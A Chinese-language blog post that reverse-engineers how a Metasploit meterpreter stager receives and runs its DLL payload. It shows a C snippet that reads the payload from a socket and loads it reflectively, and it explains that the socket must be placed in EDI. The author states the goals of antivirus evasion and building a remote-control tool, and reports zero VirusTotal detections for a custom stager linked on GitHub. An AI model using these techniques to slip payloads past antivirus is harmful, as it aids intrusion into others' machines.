寫在前面
用過metasploit的人應該對meterpreter不陌生,它具有強大的功能,特別是其socks代理,簡直就是內網滲透測試神器。由于meterpreter功能強大,萌生了想要把msf做遠控的念頭。另外,圍繞meterpreter一個重要的問題,就是如何繞過殺軟。
這促使我決定一窺meterpreter的究竟,以了解其工作原理和流程,從而方便自定義載荷進行免殺,或者予以改造做遠控。后來發現,直接基于msf做遠控還有很長一段路要走,不過卻可以完美免殺,而且還了解了meterpreter會話建立的流程和原理,對寫程序很受啟發。
剖析meterpreter
使用msf生成的meterpreter的shellcode很小(stager階段),如287 bytes,一個287bytes的shellcode竟能最終建立一個功能強大的meterpreter會話。這段shellcode到底是在干什么呢?這段shellcode就只干了如下事情:連接服務器,接收載荷,并將控制權轉移到載荷。
有人利用C語言實現了 meterpreter建立會話(這里可以參考鏈接:??http://diablohorn.wordpress.com/2013/02/04/evade-antivirus-convert-shellcode-to-c) meterpreter 會話的建立過程,但是和原shellcode功能并不是很一致,因為這里使用了內存加載函數:
do{
response =recv(meterpretersock, recvbuf, 1024, 0);
memcpy(payload,recvbuf,response);
payload +=response;
total +=response;
payloadlength -= response;
}while(payloadlength > 0);
payload -=total;
loadedfile =LoadLibraryR(payload,total);
meterpreterstart = (MyInit)GetProcAddressR(loadedfile,"Init");
meterpreterstart(meterpretersock);
內存加載函數比較復雜,如果將這篇 c 代碼轉為shellcode,我想是不可能只有287bytes的。于是,我去掉了其內存加載的地方,直接將控制權轉移到載荷,并將socket作為參數傳入,發現會話并沒有正常建立,但是也沒有報錯。
因此,我決定對原始shellcode進行分析,以找到meterpreter會話建立的核心流程。
在分析 原始shellcode之前,我想先知道被控端連接msf后,msf發過來的是什么載荷。通過查閱資料,得知這個載荷名叫:metsvr.xxx.dll,xxx代表x86或者x64。為了驗證,我刪掉了/opt/metasploit/apps/pro/vendor/bundle/ruby/1.9.1/gems/meterpreter_bins-0.0.11/meterpreter目錄下的 metsrv.x86.dll,發現會話無法正常建立了,從而確定了就是這個dll。然后我重新編譯了metsrv.x86.dll,并插入了添加的代碼,發現添加的代碼執行了,進一步說明定位準確。
不過這樣,問題就來了。
通常,我們自己寫程序執行meterpreter的shellcode,常常是執行將控制權轉移到shellcode執行,而上面那篇c代碼,卻是先加載載荷到內存中,然后再調用其Init()函數。顯然兩者差距很大,但是都能正常建立其meterpreter會話。也就是說,msf傳過來的載荷,既可以直接將控制權轉移到載荷執行,也可以內存加載載荷,然后調用其init函數來執行。是什么原因使得這兩種方式都可以的呢?剛開始,我以為難道可以直接將控制權轉移到dll頭部,就會調用其主函數?顯然,這種想法一經測試,立刻知道是錯誤的了。那么,原因就只有一個,一定是Msf對dll做了手腳。
為了驗證我的想法,我修改了上面提到的c代碼,當接收到載荷后,將其保存在文件中。并與原始dll進行了對比:
結果顯示,的確不同。從第3個字節開始,就出現了變化。因此,我對這段代碼進行了反匯編分析:
發現這部分是經過精心構造的代碼,由于前兩個字節是4D 5A,對應的反匯編代碼是DEC BEP,POP EDX。這段改編后的代碼先存儲了當前地址在EBX中,然后恢復因為4D 5A而造成的數據的更改。然后調用了偏移15E7處的函數,接著執行了該函數返回結果對應的函數。步入15E7分析:
這里像是在向回找到4D 5A,也就是DLL的頭部。繼續往下面分析,發現非常像是找在函數地址,這里會不會就是內存加載DLL的地方呢?如果是這樣,內存加載DLL后,應該返回DLL的DllMain函數的地址,后來發現果然如此。最后,我查閱資料終于找到了插入到4D 5A 后面的代碼原始說明:
這段代碼驗證了我的猜測。(注釋已經說的很清楚的,大家可以自己分析下)
聯想到起初我提到的那篇c代碼,因為我不想要那段內存加載的地方(因為太大了,轉為shellcode會導致shellcode太過龐大),而去掉了內存加載的地方,直接執行載荷,但是會話卻沒有成功建立。看到這里的說明,原因很清楚了,因為我是通過參數傳遞將socket的值傳過去的,而這里插入的代碼,是通過寄存器 edi 得到socket的值,也就是說我們應該將socket存放到edi中,然后在將控制權轉移到載荷中去。這樣就可以用很簡短的 c 代碼,來模擬meterpreter stager,并成功建立會話。
為了驗證,我編寫了cpp代碼來實現:
執行程序,成功得到了meterpreter會話:
然后我將程序傳到 virtualtotal進行檢測,發現沒有任何殺軟報毒:https://www.virustotal.com/en/file/73d54586d85cd54a51befba1c0332c989318bdd228f764d233bad729add4cb33/analysis/1418040884/
上述模擬 meterpreter stager階段的cpp代碼已托管到 github上:https://github.com/codeliker/mymig_meterpreter
meterpreter會話建立過程是如此的巧妙。